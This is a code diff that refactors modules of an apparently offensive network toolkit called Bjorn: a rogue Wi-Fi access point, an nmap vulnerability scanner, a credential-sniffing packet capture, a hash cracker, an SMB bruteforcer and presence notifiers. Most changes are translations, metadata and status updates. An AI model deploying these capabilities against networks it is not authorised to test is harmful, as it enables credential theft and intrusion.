@@ -181,7 +188,8 @@ class LokiDeceiver:
h_path, d_path = self._create_configs(iface, ssid, channel, password) h_path, d_path = self._create_configs(iface, ssid, channel, password)
# Set IP for interface # Set IP for interface
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True) subprocess.run(['sudo', 'ip', 'addr', 'add', '192.168.1.1/24', 'dev', iface], capture_output=True)
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
# Start processes # Start processes
# Use DEVNULL to avoid blocking on unread PIPE buffers. # Use DEVNULL to avoid blocking on unread PIPE buffers.
@@ -208,7 +216,8 @@ class LokiDeceiver:
start_time = time.time() start_time = time.time()
while time.time() - start_time < timeout: while time.time() - start_time < timeout:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
break logger.info("LokiDeceiver: Interrupted by orchestrator.")
return "interrupted"
# Check if procs still alive # Check if procs still alive
if self.hostapd_proc.poll() is not None: if self.hostapd_proc.poll() is not None:
@@ -219,6 +228,8 @@ class LokiDeceiver:
elapsed = int(time.time() - start_time) elapsed = int(time.time() - start_time)
prog = int((elapsed / timeout) * 100) prog = int((elapsed / timeout) * 100)
self.shared_data.bjorn_progress = f"{prog}%" self.shared_data.bjorn_progress = f"{prog}%"
# EPD live status update
self.shared_data.comment_params = {"ssid": ssid, "clients": str(len(self.active_clients)), "uptime": str(elapsed)}
if elapsed % 60 == 0: if elapsed % 60 == 0:
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}") self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
@@ -244,10 +255,12 @@ class LokiDeceiver:
for p in [self.hostapd_proc, self.dnsmasq_proc]: for p in [self.hostapd_proc, self.dnsmasq_proc]:
if p: if p:
try: p.terminate(); p.wait(timeout=5) try: p.terminate(); p.wait(timeout=5)
except: pass except Exception: pass
# Restore NetworkManager if needed (custom logic based on usage) # Restore NetworkManager if needed (custom logic based on usage)
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True) # subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
return "success" return "success"

View File

@@ -1,16 +1,11 @@
""" """nmap_vuln_scanner.py - Nmap-based CPE/CVE vulnerability scanning with vulners integration."""
Vulnerability Scanner Action
Scanne ultra-rapidement CPE (+ CVE via vulners si dispo),
avec fallback "lourd" optionnel.
Affiche une progression en % dans Bjorn.
"""
import re import re
import time import time
import nmap import nmap
import json import json
import logging import logging
from datetime import datetime, timedelta from datetime import datetime, timedelta, timezone
from typing import Dict, List, Any from typing import Dict, List, Any
from shared import SharedData from shared import SharedData
@@ -31,18 +26,28 @@ b_priority = 11
b_cooldown = 0 b_cooldown = 0
b_enabled = 1 b_enabled = 1
b_rate_limit = None b_rate_limit = None
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["vuln", "nmap", "cpe", "cve", "scanner"]
b_category = "recon"
b_name = "Nmap Vuln Scanner"
b_description = "Nmap-based CPE/CVE vulnerability scanning with vulners integration."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "NmapVulnScanner.png"
# Regex compilé une seule fois (gain CPU sur Pi Zero) # Pre-compiled regex (saves CPU on Pi Zero)
CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE) CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE)
class NmapVulnScanner: class NmapVulnScanner:
"""Scanner de vulnérabilités via nmap (mode rapide CPE/CVE) avec progression.""" """Nmap vulnerability scanner (fast CPE/CVE mode) with progress tracking."""
def __init__(self, shared_data: SharedData): def __init__(self, shared_data: SharedData):
self.shared_data = shared_data self.shared_data = shared_data
# Pas de self.nm partagé : on instancie dans chaque méthode de scan # No shared self.nm: instantiate per scan method to avoid state corruption between batches
# pour éviter les corruptions d'état entre batches.
logger.info("NmapVulnScanner initialized") logger.info("NmapVulnScanner initialized")
# ---------------------------- Public API ---------------------------- # # ---------------------------- Public API ---------------------------- #
@@ -54,7 +59,7 @@ class NmapVulnScanner:
self.shared_data.bjorn_progress = "0%" self.shared_data.bjorn_progress = "0%"
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
return 'failed' return 'interrupted'
# 1) Metadata # 1) Metadata
meta = {} meta = {}
@@ -63,7 +68,7 @@ class NmapVulnScanner:
except Exception: except Exception:
pass pass
# 2) Récupérer MAC et TOUS les ports # 2) Get MAC and ALL ports
mac = row.get("MAC Address") or row.get("mac_address") or "" mac = row.get("MAC Address") or row.get("mac_address") or ""
ports_str = "" ports_str = ""
@@ -87,13 +92,13 @@ class NmapVulnScanner:
ports = [p.strip() for p in ports_str.split(';') if p.strip()] ports = [p.strip() for p in ports_str.split(';') if p.strip()]
# Nettoyage des ports (garder juste le numéro si format 80/tcp) # Strip port format (keep just the number from "80/tcp")
ports = [p.split('/')[0] for p in ports] ports = [p.split('/')[0] for p in ports]
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))} self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))}
logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...") logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...")
# 3) Filtrage "Rescan Only" # 3) "Rescan Only" filtering
if self.shared_data.config.get('vuln_rescan_on_change_only', False): if self.shared_data.config.get('vuln_rescan_on_change_only', False):
if self._has_been_scanned(mac): if self._has_been_scanned(mac):
original_count = len(ports) original_count = len(ports)
@@ -105,24 +110,24 @@ class NmapVulnScanner:
self.shared_data.bjorn_progress = "100%" self.shared_data.bjorn_progress = "100%"
return 'success' return 'success'
# 4) SCAN AVEC PROGRESSION # 4) SCAN WITH PROGRESS
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
return 'failed' return 'interrupted'
logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}") logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}")
findings = self.scan_vulnerabilities(ip, ports) findings = self.scan_vulnerabilities(ip, ports)
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
logger.info("Scan interrupted by user") logger.info("Scan interrupted by user")
return 'failed' return 'interrupted'
# 5) Déduplication en mémoire avant persistance # 5) In-memory dedup before persistence
findings = self._deduplicate_findings(findings) findings = self._deduplicate_findings(findings)
# 6) Persistance # 6) Persistance
self.save_vulnerabilities(mac, ip, findings) self.save_vulnerabilities(mac, ip, findings)
# Finalisation UI # Final UI update
self.shared_data.bjorn_progress = "100%" self.shared_data.bjorn_progress = "100%"
self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))} self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))}
logger.success(f"Vuln scan done on {ip}: {len(findings)} entries") logger.success(f"Vuln scan done on {ip}: {len(findings)} entries")
@@ -130,7 +135,7 @@ class NmapVulnScanner:
except Exception as e: except Exception as e:
logger.error(f"NmapVulnScanner failed for {ip}: {e}") logger.error(f"NmapVulnScanner failed for {ip}: {e}")
self.shared_data.bjorn_progress = "Error" self.shared_data.bjorn_progress = "0%"
return 'failed' return 'failed'
def _has_been_scanned(self, mac: str) -> bool: def _has_been_scanned(self, mac: str) -> bool:
@@ -161,7 +166,7 @@ class NmapVulnScanner:
ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0) ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0)
if ttl > 0: if ttl > 0:
cutoff = datetime.utcnow() - timedelta(seconds=ttl) cutoff = datetime.now(timezone.utc) - timedelta(seconds=ttl)
final_ports = [] final_ports = []
for p in ports: for p in ports:
if p not in seen: if p not in seen:
@@ -180,7 +185,7 @@ class NmapVulnScanner:
# ---------------------------- Helpers -------------------------------- # # ---------------------------- Helpers -------------------------------- #
def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]: def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]:
"""Supprime les doublons (me port + vuln_id) pour éviter des inserts inutiles.""" """Remove duplicates (same port + vuln_id) to avoid redundant inserts."""
seen: set = set() seen: set = set()
deduped = [] deduped = []
for f in findings: for f in findings:
@@ -201,7 +206,7 @@ class NmapVulnScanner:
return [str(cpe).strip()] return [str(cpe).strip()]
def extract_cves(self, text: str) -> List[str]: def extract_cves(self, text: str) -> List[str]:
"""Extrait les CVE via regex pré-compilé (pas de recompilation à chaque appel).""" """Extract CVEs using pre-compiled regex."""
if not text: if not text:
return [] return []
return CVE_RE.findall(str(text)) return CVE_RE.findall(str(text))
@@ -210,8 +215,7 @@ class NmapVulnScanner:
def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]: def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]:
""" """
Orchestre le scan en lots (batches) pour permettre la mise à jour Orchestrate scanning in batches for progress bar updates.
de la barre de progression.
""" """
all_findings = [] all_findings = []
@@ -219,10 +223,10 @@ class NmapVulnScanner:
use_vulners = bool(self.shared_data.config.get('nse_vulners', False)) use_vulners = bool(self.shared_data.config.get('nse_vulners', False))
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20)) max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
# Pause entre batches important sur Pi Zero pour laisser respirer le CPU # Pause between batches -- important on Pi Zero to let the CPU breathe
batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5)) batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5))
# Taille de lot réduite par défaut (2 sur Pi Zero, configurable) # Reduced batch size by default (2 on Pi Zero, configurable)
batch_size = int(self.shared_data.config.get('vuln_batch_size', 2)) batch_size = int(self.shared_data.config.get('vuln_batch_size', 2))
target_ports = ports[:max_ports] target_ports = ports[:max_ports]
@@ -240,7 +244,7 @@ class NmapVulnScanner:
port_str = ','.join(batch) port_str = ','.join(batch)
# Mise à jour UI avant le scan du lot # UI update before batch scan
pct = int((processed_count / total) * 100) pct = int((processed_count / total) * 100)
self.shared_data.bjorn_progress = f"{pct}%" self.shared_data.bjorn_progress = f"{pct}%"
self.shared_data.comment_params = { self.shared_data.comment_params = {
@@ -251,7 +255,7 @@ class NmapVulnScanner:
t0 = time.time() t0 = time.time()
# Scan du lot (instanciation locale pour éviter la corruption d'état) # Scan batch (local instance to avoid state corruption)
if fast: if fast:
batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners) batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners)
else: else:
@@ -263,11 +267,11 @@ class NmapVulnScanner:
all_findings.extend(batch_findings) all_findings.extend(batch_findings)
processed_count += len(batch) processed_count += len(batch)
# Mise à jour post-lot # Post-batch update
pct = int((processed_count / total) * 100) pct = int((processed_count / total) * 100)
self.shared_data.bjorn_progress = f"{pct}%" self.shared_data.bjorn_progress = f"{pct}%"
# Pause CPU entre batches (vital sur Pi Zero) # CPU pause between batches (vital on Pi Zero)
if batch_pause > 0 and processed_count < total: if batch_pause > 0 and processed_count < total:
time.sleep(batch_pause) time.sleep(batch_pause)
@@ -275,10 +279,10 @@ class NmapVulnScanner:
def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]: def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]:
vulns: List[Dict] = [] vulns: List[Dict] = []
nm = nmap.PortScanner() # Instance locale pas de partage d'état nm = nmap.PortScanner() # Local instance -- no shared state
# --version-light au lieu de --version-all : bien plus rapide sur Pi Zero # --version-light instead of --version-all: much faster on Pi Zero
# --min-rate/--max-rate : évite de saturer CPU et réseau # --min-rate/--max-rate: avoid saturating CPU and network
args = ( args = (
"-sV --version-light -T4 " "-sV --version-light -T4 "
"--max-retries 1 --host-timeout 60s --script-timeout 20s " "--max-retries 1 --host-timeout 60s --script-timeout 20s "
@@ -329,14 +333,14 @@ class NmapVulnScanner:
def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]: def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]:
vulnerabilities: List[Dict] = [] vulnerabilities: List[Dict] = []
nm = nmap.PortScanner() # Instance locale nm = nmap.PortScanner() # Local instance
vuln_scripts = [ vuln_scripts = [
'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*', 'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*',
'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*', 'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*',
] ]
script_arg = ','.join(vuln_scripts) script_arg = ','.join(vuln_scripts)
# --min-rate/--max-rate pour ne pas saturer le Pi # --min-rate/--max-rate to avoid saturating the Pi
args = ( args = (
f"-sV --script={script_arg} -T3 " f"-sV --script={script_arg} -T3 "
"--script-timeout 30s --min-rate 50 --max-rate 100" "--script-timeout 30s --min-rate 50 --max-rate 100"
@@ -371,7 +375,7 @@ class NmapVulnScanner:
'details': str(output)[:200] 'details': str(output)[:200]
}) })
# CPE Scan optionnel (sur ce batch) # Optional CPE scan (on this batch)
if bool(self.shared_data.config.get('scan_cpe', False)): if bool(self.shared_data.config.get('scan_cpe', False)):
ports_for_cpe = list(discovered_ports_in_batch) ports_for_cpe = list(discovered_ports_in_batch)
if ports_for_cpe: if ports_for_cpe:
@@ -381,10 +385,10 @@ class NmapVulnScanner:
def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]: def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]:
cpe_vulns = [] cpe_vulns = []
nm = nmap.PortScanner() # Instance locale nm = nmap.PortScanner() # Local instance
try: try:
port_list = ','.join([str(p) for p in ports]) port_list = ','.join([str(p) for p in ports])
# --version-light à la place de --version-all (bien plus rapide) # --version-light instead of --version-all (much faster)
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s" args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s"
nm.scan(hosts=ip, ports=port_list, arguments=args) nm.scan(hosts=ip, ports=port_list, arguments=args)
@@ -430,7 +434,7 @@ class NmapVulnScanner:
if vid_upper.startswith('CVE-'): if vid_upper.startswith('CVE-'):
findings_by_port[port]['cves'].add(vid) findings_by_port[port]['cves'].add(vid)
elif vid_upper.startswith('CPE:'): elif vid_upper.startswith('CPE:'):
# On stocke sans le préfixe "CPE:" # Store without the "CPE:" prefix
findings_by_port[port]['cpes'].add(vid[4:]) findings_by_port[port]['cpes'].add(vid[4:])
# 1) CVEs # 1) CVEs

View File

@@ -179,6 +179,10 @@ class OdinEye:
def execute(self, ip, port, row, status_key) -> str: def execute(self, ip, port, row, status_key) -> str:
"""Standard entry point.""" """Standard entry point."""
# Reset per-run state to prevent accumulation across reused instances
self.credentials.clear()
self.statistics.clear()
iface = getattr(self.shared_data, "odin_eye_interface", "auto") iface = getattr(self.shared_data, "odin_eye_interface", "auto")
if iface == "auto": if iface == "auto":
iface = None # pyshark handles None as default iface = None # pyshark handles None as default
@@ -186,10 +190,17 @@ class OdinEye:
bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"]) bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"])
max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000)) max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000))
timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300)) timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300))
output_dir = getattr(self.shared_data, "odin_eye_output", "/home/bjorn/Bjorn/data/output/packets") _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "packets")
output_dir = getattr(self.shared_data, "odin_eye_output", _fallback_dir)
logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})") logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})")
self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}") self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}")
# EPD live status
self.shared_data.comment_params = {"iface": iface or "any", "filter": bpf_filter[:30]}
if not HAS_PYSHARK:
logger.error("OdinEye requires pyshark but it is not installed.")
return "failed"
try: try:
self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter) self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter)
@@ -217,6 +228,8 @@ class OdinEye:
if packet_count % 50 == 0: if packet_count % 50 == 0:
prog = int((packet_count / max_pkts) * 100) prog = int((packet_count / max_pkts) * 100)
self.shared_data.bjorn_progress = f"{prog}%" self.shared_data.bjorn_progress = f"{prog}%"
# EPD live status update
self.shared_data.comment_params = {"packets": str(packet_count), "creds": str(len(self.credentials))}
self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets") self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets")
except Exception as e: except Exception as e:
@@ -226,7 +239,7 @@ class OdinEye:
finally: finally:
if self.capture: if self.capture:
try: self.capture.close() try: self.capture.close()
except: pass except Exception: pass
# Save results # Save results
if self.credentials or self.statistics['total_packets'] > 0: if self.credentials or self.statistics['total_packets'] > 0:
@@ -238,6 +251,8 @@ class OdinEye:
"credentials": self.credentials "credentials": self.credentials
}, f, indent=4) }, f, indent=4)
self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.") self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.")
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
return "success" return "success"

View File

@@ -1,11 +1,5 @@
# actions/presence_join.py
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """presence_join.py - Discord webhook notification when a target host joins the network."""
PresenceJoin — Sends a Discord webhook when the targeted host JOINS the network.
- Triggered by the scheduler ONLY on transition OFF->ON (b_trigger="on_join").
- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}).
- The action does not query anything: it only notifies when called.
"""
import requests import requests
from typing import Optional from typing import Optional
@@ -28,7 +22,20 @@ b_priority = 90
b_cooldown = 0 # not needed: on_join only fires on join transition b_cooldown = 0 # not needed: on_join only fires on join transition
b_rate_limit = None b_rate_limit = None
b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan) b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan)
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed b_requires = None # Configure via DB to restrict to specific MACs if needed
b_enabled = 1
b_action = "normal"
b_category = "notification"
b_name = "Presence Join"
b_description = "Sends a Discord webhook notification when a host joins the network."
b_author = "Bjorn Team"
b_version = "1.0.0"
b_timeout = 30
b_max_retries = 1
b_stealth_level = 10
b_risk_level = "low"
b_tags = ["presence", "discord", "notification"]
b_icon = "PresenceJoin.png"
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
@@ -60,6 +67,8 @@ class PresenceJoin:
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
name = f"{host} ({mac})" if host else mac name = f"{host} ({mac})" if host else mac
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
# EPD live status
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
# Add timestamp in UTC # Add timestamp in UTC
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")

View File

@@ -1,11 +1,5 @@
# actions/presence_left.py
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """presence_left.py - Discord webhook notification when a target host leaves the network."""
PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the network.
- Triggered by the scheduler ONLY on transition ON->OFF (b_trigger="on_leave").
- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}).
- The action does not query anything: it only notifies when called.
"""
import requests import requests
from typing import Optional from typing import Optional
@@ -28,8 +22,20 @@ b_priority = 90
b_cooldown = 0 # not needed: on_leave only fires on leave transition b_cooldown = 0 # not needed: on_leave only fires on leave transition
b_rate_limit = None b_rate_limit = None
b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan) b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan)
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed b_requires = None # Configure via DB to restrict to specific MACs if needed
b_enabled = 1 b_enabled = 1
b_action = "normal"
b_category = "notification"
b_name = "Presence Leave"
b_description = "Sends a Discord webhook notification when a host leaves the network."
b_author = "Bjorn Team"
b_version = "1.0.0"
b_timeout = 30
b_max_retries = 1
b_stealth_level = 10
b_risk_level = "low"
b_tags = ["presence", "discord", "notification"]
b_icon = "PresenceLeave.png"
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
@@ -60,6 +66,8 @@ class PresenceLeave:
mac = row.get("MAC Address") or row.get("mac_address") or "MAC" mac = row.get("MAC Address") or row.get("mac_address") or "MAC"
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
# EPD live status
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
# Add timestamp in UTC # Add timestamp in UTC
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")

View File

@@ -82,7 +82,11 @@ class RuneCracker:
return hashlib.sha512(password.encode()).hexdigest() return hashlib.sha512(password.encode()).hexdigest()
elif h_type == 'ntlm': elif h_type == 'ntlm':
# NTLM is MD4(UTF-16LE(password)) # NTLM is MD4(UTF-16LE(password))
try:
return hashlib.new('md4', password.encode('utf-16le')).hexdigest() return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
except ValueError:
# MD4 not available in this Python build (e.g., FIPS mode)
return None
except Exception as e: except Exception as e:
logger.debug(f"Hashing error ({h_type}): {e}") logger.debug(f"Hashing error ({h_type}): {e}")
return None return None
@@ -107,6 +111,8 @@ class RuneCracker:
} }
logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}") logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}")
self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!") self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!")
# EPD live status update
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": str(len(self.cracked))}
progress.advance() progress.advance()
@@ -115,7 +121,8 @@ class RuneCracker:
input_file = str(getattr(self.shared_data, "rune_cracker_input", "")) input_file = str(getattr(self.shared_data, "rune_cracker_input", ""))
wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", "")) wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", ""))
self.hash_type = getattr(self.shared_data, "rune_cracker_type", None) self.hash_type = getattr(self.shared_data, "rune_cracker_type", None)
output_dir = getattr(self.shared_data, "rune_cracker_output", "/home/bjorn/Bjorn/data/output/hashes") _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "hashes")
output_dir = getattr(self.shared_data, "rune_cracker_output", _fallback_dir)
if not input_file or not os.path.exists(input_file): if not input_file or not os.path.exists(input_file):
# Fallback: Check for latest odin_recon or other hashes if running in generic mode # Fallback: Check for latest odin_recon or other hashes if running in generic mode
@@ -127,6 +134,8 @@ class RuneCracker:
logger.error(f"Input file not found: {input_file}") logger.error(f"Input file not found: {input_file}")
return "failed" return "failed"
# Reset per-run state to prevent accumulation across reused instances
self.cracked.clear()
# Load hashes # Load hashes
self.hashes.clear() self.hashes.clear()
try: try:
@@ -150,6 +159,8 @@ class RuneCracker:
logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...") logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...")
self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes") self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes")
# EPD live status
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": "0"}
# Prepare password plan # Prepare password plan
dict_passwords = [] dict_passwords = []
@@ -166,11 +177,12 @@ class RuneCracker:
progress = ProgressTracker(self.shared_data, len(all_candidates)) progress = ProgressTracker(self.shared_data, len(all_candidates))
self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates") self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates")
try:
try: try:
with ThreadPoolExecutor(max_workers=self.max_workers) as executor: with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
for pwd in all_candidates: for pwd in all_candidates:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
executor.shutdown(wait=False) executor.shutdown(wait=False, cancel_futures=True)
return "interrupted" return "interrupted"
executor.submit(self._crack_password_worker, pwd, progress) executor.submit(self._crack_password_worker, pwd, progress)
except Exception as e: except Exception as e:
@@ -195,6 +207,9 @@ class RuneCracker:
logger.info("Cracking finished. No matches found.") logger.info("Cracking finished. No matches found.")
self.shared_data.log_milestone(b_class, "Finished", "No passwords found") self.shared_data.log_milestone(b_class, "Finished", "No passwords found")
return "success" # Still success even if 0 cracked, as it finished the task return "success" # Still success even if 0 cracked, as it finished the task
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
if __name__ == "__main__": if __name__ == "__main__":
# Minimal CLI for testing # Minimal CLI for testing

View File

@@ -1,13 +1,7 @@
# scanning.py Network scanner (DB-first, no stubs) """scanning.py - Network scanner: host discovery, MAC/hostname resolution, and port scanning.
# - Host discovery (nmap -sn -PR)
# - Resolve MAC/hostname (ThreadPoolExecutor) -> DB (hosts table) DB-first design - all results go straight to SQLite. RPi Zero optimized.
# - Port scan (ThreadPoolExecutor) -> DB (merge ports by MAC) """
# - Mark alive=0 for hosts not seen this run
# - Update stats (stats table)
# - Light logging (milestones) without flooding
# - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan
# - No DB insert without a real MAC. Unresolved IPs are kept in-memory.
# - RPi Zero optimized: bounded thread pools, reduced retries, adaptive concurrency
import os import os
import re import re
@@ -38,6 +32,18 @@ b_priority = 1
b_action = "global" b_action = "global"
b_trigger = "on_interval:180" b_trigger = "on_interval:180"
b_requires = '{"max_concurrent": 1}' b_requires = '{"max_concurrent": 1}'
b_enabled = 1
b_timeout = 300
b_max_retries = 1
b_stealth_level = 3
b_risk_level = "low"
b_tags = ["scan", "discovery", "network", "nmap"]
b_category = "recon"
b_name = "Network Scanner"
b_description = "Host discovery, MAC/hostname resolution, and port scanning via nmap."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "NetworkScanner.png"
# --- Module-level constants (avoid re-creating per call) --- # --- Module-level constants (avoid re-creating per call) ---
_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}') _MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')

View File

@@ -1,12 +1,7 @@
""" smb_bruteforce.py - Threaded SMB credential bruteforcer with share enumeration.
smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich)
- Cibles fournies par l’orchestrateur (ip, port)
- IP -> (MAC, hostname) depuis DB.hosts
- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=<share>)
- Conserve la logique de queue/threads et les signatures. Plus de rich/progress.
"""
import os import os
import shlex
import threading import threading
import logging import logging
import time import time
@@ -29,14 +24,27 @@ b_parent = None
b_service = '["smb"]' b_service = '["smb"]'
b_trigger = 'on_any:["on_service:smb","on_new_port:445"]' b_trigger = 'on_any:["on_service:smb","on_new_port:445"]'
b_priority = 70 b_priority = 70
b_cooldown = 1800 # 30 minutes entre deux runs b_cooldown = 1800 # 30 min between runs
b_rate_limit = '3/86400' # 3 fois par jour max b_rate_limit = '3/86400' # max 3 per day
b_enabled = 1
b_action = "normal"
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["bruteforce", "smb", "credentials", "shares"]
b_category = "exploitation"
b_name = "SMB Bruteforce"
b_description = "Threaded SMB credential bruteforcer with share enumeration."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "SMBBruteforce.png"
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'} IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
class SMBBruteforce: class SMBBruteforce:
"""Wrapper orchestrateur -> SMBConnector.""" """Orchestrator wrapper for SMBConnector."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
@@ -44,11 +52,11 @@ class SMBBruteforce:
